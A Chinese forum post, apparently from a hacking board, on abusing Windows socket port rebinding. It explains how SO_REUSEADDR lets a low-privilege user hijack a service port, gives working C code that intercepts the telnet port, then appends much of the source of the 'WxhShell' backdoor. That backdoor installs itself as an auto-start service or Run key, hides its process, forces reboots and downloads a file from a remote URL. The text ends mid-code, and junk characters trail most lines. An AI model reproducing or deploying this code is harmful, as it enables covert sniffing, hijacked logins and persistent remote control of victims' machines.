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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SrvC34<7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^cI RP  
@9h6D<?  
  saddr.sin_family = AF_INET; [F^j(qTR  
lUM-~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J<ZG&m362p  
/h K/t;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iaQ3mk#  
m/1;os5+8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R-BN}ZS  
m)xz_Plc  
  这意味着什么?意味着可以进行如下的攻击: !MD uj  
l|  QQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PA${<wyBR_  
+C`zI~8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R"{oj]d;$F  
6w $pL(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j:J7  
Ug^vVc)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bqm%@*fZo  
Qr*7bE(a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +bcJm  
^$J.l+<hy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ku]<$uo  
95BRZ!ts  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .^!uazPE0  
s!j vBy  
  #include a^Lo;kHY  
  #include  u~j&g  
  #include aumM\rY  
  #include    N5@l[F7I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ey) 8q.5  
  int main() $ud\CU:r  
  { (p}N cn.  
  WORD wVersionRequested; PQ4)kVT  
  DWORD ret; n~v*  
  WSADATA wsaData; bc*CP0t|  
  BOOL val; #TG.weTC  
  SOCKADDR_IN saddr; FK`M+ j  
  SOCKADDR_IN scaddr; +dF/$+t  
  int err; G297)MFF  
  SOCKET s; -jL10~/  
  SOCKET sc; PRyzUG&  
  int caddsize; {{e+t8J??  
  HANDLE mt; \PgMMc4'  
  DWORD tid;   U jB5Xks  
  wVersionRequested = MAKEWORD( 2, 2 ); U:O&FE  
  err = WSAStartup( wVersionRequested, &wsaData ); "A3V(~%!  
  if ( err != 0 ) { G}gmkp]z  
  printf("error!WSAStartup failed!\n"); H!uq5` j0K  
  return -1; sWX\/Iyy2p  
  } Nmu=p~f}3`  
  saddr.sin_family = AF_INET; ,~qjL|9  
   )W$@phY(I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g7<u eF  
#(Ezt% ^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {&s.*5  
  saddr.sin_port = htons(23); 5SwQ9#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DeR C_ [  
  { -!pg1w06  
  printf("error!socket failed!\n"); ];au! _o  
  return -1; ?<eH!MHF  
  } Tq!.M1{&  
  val = TRUE; s_Gf7uC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l*>, :y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bq#B+JwX  
  { Vh5Z'4N  
  printf("error!setsockopt failed!\n");  B/ACU  
  return -1; E3,Nc`'m9  
  } Xmaj7*f>p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \tZZn~ex  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PvqG5-L~W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -4nSiI  
J:Ncy}AO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5Ak6q(\  
  { KeE)9e   
  ret=GetLastError(); Y@R9+ 7!  
  printf("error!bind failed!\n"); CxJkT2  
  return -1; cuo'V*nWQ  
  } ":,J<|Oy  
  listen(s,2); ok<!/"RX$  
  while(1) O2C&XeB:4  
  { /yO|Q{C}M8  
  caddsize = sizeof(scaddr); )MU)'1jc,  
  //接受连接请求 o<nkK+=Afm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QPT%CW61M  
  if(sc!=INVALID_SOCKET) ZT%Q:]B+  
  { oBZzMTPe  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )-_To&S*  
  if(mt==NULL) -|nHwSrCZ/  
  { Iji9N!Yx  
  printf("Thread Creat Failed!\n"); =P\Tk)(`  
  break; kMY1Xb  
  } [_wenlkm  
  } Mg76v<mv<  
  CloseHandle(mt); ?wYvBFRn7"  
  } K1*]6x,  
  closesocket(s); 3lD1G~  
  WSACleanup(); BP`'1Ns  
  return 0; 55]E<2't  
  }   %_%/ym  
  DWORD WINAPI ClientThread(LPVOID lpParam) %$H~  
  { ~AbTbQ3  
  SOCKET ss = (SOCKET)lpParam; 'SE?IE{  
  SOCKET sc; BARs1^pR4  
  unsigned char buf[4096]; leomm+f^  
  SOCKADDR_IN saddr; y( uE  
  long num; ej&ZE n  
  DWORD val; La#otuw+?  
  DWORD ret; l&4+v.zr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pXv@ QD#!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t (>}  
  saddr.sin_family = AF_INET; &S|%>C{P.w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hAv.rjhw_  
  saddr.sin_port = htons(23); EAi!"NJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tWN hFQ'  
  { Eggdj+  
  printf("error!socket failed!\n"); wEJ) h1=)^  
  return -1; /!L#cUog  
  } ! Al?B9KJ  
  val = 100; ?,0 5!]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) An0Zg'o!G  
  { ?cdjQ@j~h  
  ret = GetLastError(); SByn u  
  return -1; +X&b  
  } 3iC$ "9!p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $X%'je  
  { (#`1[n+b`x  
  ret = GetLastError(); v?en-,{A  
  return -1; #\X="' /  
  } Yl!~w:O!o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) + IpC  
  { N! N>/9  
  printf("error!socket connect failed!\n"); G(6MLh1  
  closesocket(sc); pk,]yi,ZF  
  closesocket(ss); ="*:H)  
  return -1; i1E~F  
  } f R?Xq@c  
  while(1) x."/+/  
  { bO2s'!x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ohPCYt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]~H\X":[>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oPPxja g\  
  num = recv(ss,buf,4096,0); d5O_~x f&  
  if(num>0) IxQ(g#sj_k  
  send(sc,buf,num,0); =A< Fcl\Rz  
  else if(num==0) 1<ic 5kB  
  break; |JD"iP:  
  num = recv(sc,buf,4096,0); 4$^\s5K  
  if(num>0) 8vL2<VT;  
  send(ss,buf,num,0); $x'p+&n\  
  else if(num==0) [hl8LP+~  
  break; sKK*{+,kh;  
  } tB i16=  
  closesocket(ss); R&`; C<6}D  
  closesocket(sc); 7eyVm;LQD  
  return 0 ; 6~@S,i1  
  } _'"whZ)2  
y$7vJl.uS/  
8:)W!tr  
========================================================== ,fa'  
8UahoNrSt  
下边附上一个代码,,WXhSHELL r%^l~PN  
g* & |Eq/  
========================================================== c'8pTP%[  
"7&DuF$s)  
#include "stdafx.h" 9h$08l  
m\hzQ9  
#include <stdio.h> ?Dr K2;q  
#include <string.h> Wu!s  
#include <windows.h> !iO%?nW;  
#include <winsock2.h> 6yN8 (&`  
#include <winsvc.h> wcI? .  
#include <urlmon.h> S);SfNh%CL  
i:coNK)4  
#pragma comment (lib, "Ws2_32.lib") qP}187Q1  
#pragma comment (lib, "urlmon.lib") c6@7>PM  
%gb4(~E+N  
#define MAX_USER   100 // 最大客户端连接数 (WISf}[l;  
#define BUF_SOCK   200 // sock buffer z9B" "ws  
#define KEY_BUFF   255 // 输入 buffer [$<\*d/  
..5rW0lr  
#define REBOOT     0   // 重启 X' ,0vK  
#define SHUTDOWN   1   // 关机 e2 X\ll  
CC8)yO  
#define DEF_PORT   5000 // 监听端口 _3'FX# xc  
LW$(;-rY  
#define REG_LEN     16   // 注册表键长度 T|o ]8z  
#define SVC_LEN     80   // NT服务名长度 >-0\wP  
`pfZJ+  
// 从dll定义API k+D"LA%J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?b8 :  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); = @EN]u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oN\IQ7oI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BsJ d*-:X  
,@#))2<RK  
// wxhshell配置信息 DNGXp5I  
struct WSCFG { +p Y*BP+~i  
  int ws_port;         // 监听端口 |*T3TsP u  
  char ws_passstr[REG_LEN]; // 口令 pp2,d`01[L  
  int ws_autoins;       // 安装标记, 1=yes 0=no R iPxz=kr  
  char ws_regname[REG_LEN]; // 注册表键名 Sl!#!FGI  
  char ws_svcname[REG_LEN]; // 服务名 /YLHg5n8+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2.>WR~ \  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sz_{#-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QQPT=_P]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !pqfx93R*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XDtMFig  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fK %${   
uSl&d  
}; u3B[1Ae:K  
YXi'^GU@  
// default Wxhshell configuration UBm L:Qv  
struct WSCFG wscfg={DEF_PORT, +'ZJ]  
    "xuhuanlingzhe", >OLKaghV.5  
    1, ,DZoE~  
    "Wxhshell", 0eP ]  
    "Wxhshell", RI[=N:C^  
            "WxhShell Service", #aeKK7[  
    "Wrsky Windows CmdShell Service", 3!H&bOF  
    "Please Input Your Password: ", J dK' ~-L  
  1, pXy'Ss@y  
  "http://www.wrsky.com/wxhshell.exe", U{JD\G 8m  
  "Wxhshell.exe" FoNkISzW  
    }; ~v$1@DQ}  
>]!8f?,  
// 消息定义模块 cUH. ^_a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,'nd~{pX"(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3b d(.he2u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jGSY$nt9  
char *msg_ws_ext="\n\rExit."; ieL7jN,'m  
char *msg_ws_end="\n\rQuit."; ]VCVV!G_=n  
char *msg_ws_boot="\n\rReboot..."; 9Ev<t \B  
char *msg_ws_poff="\n\rShutdown..."; 5Qh$>R4!"  
char *msg_ws_down="\n\rSave to "; VK]cZ%)  
5{"v/nXV  
char *msg_ws_err="\n\rErr!"; XY h)59oM%  
char *msg_ws_ok="\n\rOK!"; x* 9 Xu"?  
J\@W+/#dF  
char ExeFile[MAX_PATH]; nr{#Krkb  
int nUser = 0; ' a>YcOw  
HANDLE handles[MAX_USER];   L* 0$x  
int OsIsNt; lA/.4"nN  
0aRHXc2<  
SERVICE_STATUS       serviceStatus; LJc"T)>$`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AbExJ~JV\g  
F4*ssx  
// 函数声明 4x)etH^o  
int Install(void); g!\H^d4  
int Uninstall(void); @BmI1  
int DownloadFile(char *sURL, SOCKET wsh); 28! ke  
int Boot(int flag); "M !]t,?S  
void HideProc(void); f'oO/0lx  
int GetOsVer(void); N8E  
int Wxhshell(SOCKET wsl); v:1DNR4  
void TalkWithClient(void *cs); ]wZlJK`K  
int CmdShell(SOCKET sock); (6crWw{3  
int StartFromService(void); [KMNMg  
int StartWxhshell(LPSTR lpCmdLine); w:VD[\h  
TFAd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  3cA '9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); * @=ZzL  
$VxKv7:  
// 数据结构和表定义 GiK4LJ~cH)  
SERVICE_TABLE_ENTRY DispatchTable[] = E~y( @72)  
{ hjgB[ &U>  
{wscfg.ws_svcname, NTServiceMain},  W<@9ndvH  
{NULL, NULL} ib\_MNIb  
}; \:m1{+l  
KPrH1 [VU  
// 自我安装 &|K9qa~)Y  
int Install(void) `6:B0-r  
{ {zTnE?(o`  
  char svExeFile[MAX_PATH]; z}a9%Fb  
  HKEY key; XkhGU?={  
  strcpy(svExeFile,ExeFile); =G9I7Y@  
rk-GQ#SKU  
// 如果是win9x系统,修改注册表设为自启动 a_3w/9L4r  
if(!OsIsNt) { (uVL!%61k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W8_$]}G8E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sx n{uRF  
  RegCloseKey(key); !kS/Ei  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k.ttrKy<q/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q@ Ze+IhK`  
  RegCloseKey(key); X5tx(}j  
  return 0; dLfB){>S  
    } KK}ox%j  
  } VTwDa*]AhB  
} 6dncUfB  
else { oMNSQMlI  
T'> MXFLh  
// 如果是NT以上系统,安装为系统服务 ='t}d>l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %X BMi ~  
if (schSCManager!=0) Nl'@Y^8N  
{ +,1 Ea )  
  SC_HANDLE schService = CreateService n'@*RvI:  
  ( >/4N:=.h  
  schSCManager, 4q"4N2  
  wscfg.ws_svcname, <Ej`zGhWz  
  wscfg.ws_svcdisp, 4D}hYk$eP0  
  SERVICE_ALL_ACCESS, x']Fe7nv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gsu?m  
  SERVICE_AUTO_START, Rc vp@  
  SERVICE_ERROR_NORMAL, ij,Rq`}l  
  svExeFile, #,9s\T  
  NULL, 2e9.U/9  
  NULL, ifcp!l+8  
  NULL, GO)5R,  
  NULL, $Jo4n>/  
  NULL ph$ vP;}  
  ); &/n*>%2  
  if (schService!=0) {e5DQ21.  
  { iax0V  
  CloseServiceHandle(schService); bd\%K`JQ{  
  CloseServiceHandle(schSCManager); s1]m^,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G}Ko*:fWS  
  strcat(svExeFile,wscfg.ws_svcname); ?C`r3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *XOLuPL>6)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X;1yQ |su  
  RegCloseKey(key); 8'"=y}]H~  
  return 0; tZG l^mA"g  
    } N%F4ug@i   
  } suS[P?4  
  CloseServiceHandle(schSCManager); @THa[|(S  
} LS$zA>:  
} +s;>@j()V  
k<|}&<h  
return 1; 9:*[Q"v  
} 6>]w1 H  
ed2r<H$  
// 自我卸载 iB|htH'T  
int Uninstall(void) r )HZaq  
{ U&ytZ7iB  
  HKEY key; @^R l{p  
UM/!dt}DnF  
if(!OsIsNt) { {;N2 &S o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u M\5GK  
  RegDeleteValue(key,wscfg.ws_regname); -xG6J.S  
  RegCloseKey(key); osl\j]U8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2qot(Zs1i  
  RegDeleteValue(key,wscfg.ws_regname); K3Bw3j 9  
  RegCloseKey(key); e#)NYcr6  
  return 0;  wX5q=I  
  } d N$,AOT  
} !S%0#d2  
} W4,'?o  
else { ('{aOiSH  
_, E/HAX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ):[}NDmC  
if (schSCManager!=0) p|(SR~;6  
{ HB{'MBs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z-qbe97  
  if (schService!=0) *7E#=xb  
  { 8{i O#C  
  if(DeleteService(schService)!=0) { K iEmvC  
  CloseServiceHandle(schService); d@p#{ -  
  CloseServiceHandle(schSCManager); ZS%W/.?  
  return 0; ;{aGEOP'U  
  } `U=Jbdc l3  
  CloseServiceHandle(schService); $H)Q UFyC  
  } t.dr<  
  CloseServiceHandle(schSCManager); |dz"uIrT  
} X 5\xq+Ih  
} e=l:!E10  
M!kSt1  
return 1; @H<*|3J  
} OLqV#i[K#9  
&=x4M]t9L  
// 从指定url下载文件 ;*$e8y2  
int DownloadFile(char *sURL, SOCKET wsh) Jt[,V*:#  
{ LRg]'?  
  HRESULT hr; v3aPHf  
char seps[]= "/";  DR{O.TX  
char *token; 3@qv[yOE  
char *file; op\$(7<d-  
char myURL[MAX_PATH]; 3%bhW9H%  
char myFILE[MAX_PATH]; ] j8bv3  
*FktI\tS  
strcpy(myURL,sURL); EK5$z>k>m  
  token=strtok(myURL,seps); 0>8w On  
  while(token!=NULL) B;?)X&n|X  
  { /y$Fw9R;  
    file=token; b*.aaOb  
  token=strtok(NULL,seps); 6UqAs<c9  
  } zPc"r$'0 U  
x+j@YWDpG"  
GetCurrentDirectory(MAX_PATH,myFILE); */l;e<E  
strcat(myFILE, "\\"); aG83@ABx  
strcat(myFILE, file); "a= Hr4C*r  
  send(wsh,myFILE,strlen(myFILE),0); "p*'HQ  
send(wsh,"...",3,0); tfN[-3)Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J8!2Tt  
  if(hr==S_OK) {x?qz~W  
return 0; p0WUF\"  
else ccrWk*tr  
return 1; ) $_1U!z  
[gpO?'~  
} gHp*QL\?9  
N<8\.z5:<  
// 系统电源模块 ,f2oO?L}  
int Boot(int flag) D*Zj oU  
{ Ku%tM7ad  
  HANDLE hToken; Ny^f'tsA  
  TOKEN_PRIVILEGES tkp; rD~/]y)t  
.wD $Bsm`t  
  if(OsIsNt) { `!/[9Y#Hp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L/[VpD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $3 P De  
    tkp.PrivilegeCount = 1; pa1<=w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9xO@_pkX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K^U ="  
if(flag==REBOOT) { A1INaL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nj'5iiV`]  
  return 0; 5XUm}D$  
} Ga5*tWj  
else { xy]O8> b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~t~[@2?WG  
  return 0; mpug#i6q  
} F5qA!jZ1]  
  } Q{|%kU"  
  else { P,ueLG=  
if(flag==REBOOT) { 953qz]Q8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -dixiJ=  
  return 0; s`_EkFw>Gl  
} h/t;ZLUAZP  
else { (<r)xkn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tg@61V?>  
  return 0; >jsY'Bm  
} 6qHD&bv\%C  
} y\Aa;pL)RQ  
Tc/^h 4xH  
return 1; u"=]cBRWL6  
} j*<J&/luYZ  
eO <N/?t  
// win9x进程隐藏模块 S(Afo`  
void HideProc(void) |E7 J5ha  
{ qC> tni%  
Vo@7G@7K(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U-9Aq  
  if ( hKernel != NULL ) h(HpeN%`#  
  { x*7A33@i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "-$}GUK?Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); % -!%n= P  
    FreeLibrary(hKernel); XnZ$ %?$  
  } x<gmDy*  
B18BwY  
return; P|<V0 Vs.  
} "00j]e.  
~j'D%:[+VH  
// 获取操作系统版本 1`K-f m)  
int GetOsVer(void) Q;$k?G=l  
{ TQT3]h6  
  OSVERSIONINFO winfo; bO\++zOF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^x\VMd3*w  
  GetVersionEx(&winfo); P+o"]/7U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G0UaE1n  
  return 1; {P8d^=#q  
  else 4{YA['  
  return 0; 3p=Xv%xd  
} E:x@O8F  
g:M;S"U3*Y  
// 客户端句柄模块 K<e #y!  
int Wxhshell(SOCKET wsl) yMz#e0k  
{ m"n74 cxS  
  SOCKET wsh; hn8xs5vN  
  struct sockaddr_in client; -lhIL}mGf  
  DWORD myID; k sv]  
o~~;I  
  while(nUser<MAX_USER) }QCnN2bV  
{ @& }}tALi  
  int nSize=sizeof(client); 09-8Xzz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] zol?  
  if(wsh==INVALID_SOCKET) return 1; ojy^ A  
i wgt\ux.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e,xL~P{|  
if(handles[nUser]==0) z< L2W",  
  closesocket(wsh); EfEgY|V0  
else e P@#I^_  
  nUser++; [=>=5'-  
  } _ p\L,No  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [[ ie  
GQtNk<?$I  
  return 0; i!%bz  
} uvbVb"\"Yk  
P\j\p =  
// 关闭 socket =y][j+WH  
void CloseIt(SOCKET wsh) }=/zG!+  
{ @:}c(j  
closesocket(wsh); zWEPwOlI1P  
nUser--;  O`@Nl  
ExitThread(0); Fa%1] R  
} lnyb4d/  
eM<N?9s  
// 客户端请求句柄 kkq1:\pZ]a  
void TalkWithClient(void *cs) ab2FK  
{ y0d=  
eA4D.7HDK  
  SOCKET wsh=(SOCKET)cs; ,m=G9QcN  
  char pwd[SVC_LEN]; EB[T 5{  
  char cmd[KEY_BUFF]; N(7 XILC  
char chr[1]; Z\nDR|3  
int i,j; A9.TRKb=8  
^O_Z5NbC3  
  while (nUser < MAX_USER) { spV7\Gs.@  
msmW2Zc  
if(wscfg.ws_passstr) { 3=.YQE0!dx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;bE/(nz M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4H#-2LV`  
  //ZeroMemory(pwd,KEY_BUFF); e34>q:#5l  
      i=0; :0r,.)  
  while(i<SVC_LEN) { e=0]8l>\V  
%y RGN  
  // 设置超时 XRV]u|w=g  
  fd_set FdRead; CPOH qK`k  
  struct timeval TimeOut; XQy`5iv  
  FD_ZERO(&FdRead); i(j/C  
  FD_SET(wsh,&FdRead); ]{1{XIF  
  TimeOut.tv_sec=8; `MU~N_  
  TimeOut.tv_usec=0; $,}jz.R@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R(wUu#n$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QOB^U-cW  
NI s7v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mh)? A/e  
  pwd=chr[0]; D~C'1C&W  
  if(chr[0]==0xd || chr[0]==0xa) { Y*NzY*V\  
  pwd=0; VE+H! ob A  
  break; e$~[\ w  
  } wo@ T@Ve~  
  i++; OD8 fn  
    } MNu0t\`p4  
-uYxc=4Lh  
  // 如果是非法用户,关闭 socket :*Wq%Y=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sM-,95H  
} Wlc&QOfF  
sSW'SE?,<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 17s~mqy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '`2KLO>!  
%>m.Z#R(  
while(1) { 3uuIISK  
m{Q #f\<  
  ZeroMemory(cmd,KEY_BUFF); ;xwcK-A  
$XF$ n#ua  
      // 自动支持客户端 telnet标准   ?\o~P  
  j=0; Xq135/d  
  while(j<KEY_BUFF) { cwmS4^zt8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ME)Tx3d  
  cmd[j]=chr[0]; qfDG.Zee#  
  if(chr[0]==0xa || chr[0]==0xd) { >bW=oTFz  
  cmd[j]=0; T-] {gc  
  break; ? Lg(,-:  
  } KwL_ae6fV  
  j++; :F:1(FDP  
    } h1_Z&VJ  
}-oba_  
  // 下载文件 \|,| )  
  if(strstr(cmd,"http://")) { yx]9rD1cz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P{o)Ir8Tt  
  if(DownloadFile(cmd,wsh)) ^QS`H@+Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0-Mzb{n5  
  else '9}&@;-_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i7#4&r  
  } DPI[~  
  else { B\Nbt!Ps  
'7?Y+R@|L  
    switch(cmd[0]) { Tdi^P}i_  
  =~;~hZj  
  // 帮助 .a@12J(I  
  case '?': { V%8(zt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mUg :<.^  
    break; ^%7(  
  } ]h S:0QE  
  // 安装 m4/qxm"Dx:  
  case 'i': { Vm%G q  
    if(Install()) ~F,~^r!Jtu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aKj|gwo!  
    else b? ); D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]RT  
    break; s 47R,K$  
    } wKM9fs  
  // 卸载 =|?`5!A  
  case 'r': { >PA*L(Dh%  
    if(Uninstall()) 3F;C{P!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&*P*f1 S  
    else 23?u_?+4i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c>LP}PGk  
    break; &>\;4E.O5  
    } e8vy29\S  
  // 显示 wxhshell 所在路径 KuP#i]Na  
  case 'p': { \GL] I.  
    char svExeFile[MAX_PATH]; Jpapl%7v  
    strcpy(svExeFile,"\n\r"); (h0@;@@7hW  
      strcat(svExeFile,ExeFile); Hhknjx  
        send(wsh,svExeFile,strlen(svExeFile),0); PBn7{( x  
    break; +pR,BjY  
    } x9 > ho  
  // 重启 Gn2{C%  
  case 'b': { @;4;72@O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =Kkqk  
    if(Boot(REBOOT)) AX v q~XE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uyYV_Q0~;  
    else { j.&dHtp  
    closesocket(wsh); M {jXo%C  
    ExitThread(0); uMQI Aapb  
    } dL0Q8d\^T  
    break; 6&$.E! z  
    } $'V^_|EL7  
  // 关机 0b{jox\!B  
  case 'd': { ps<E f  
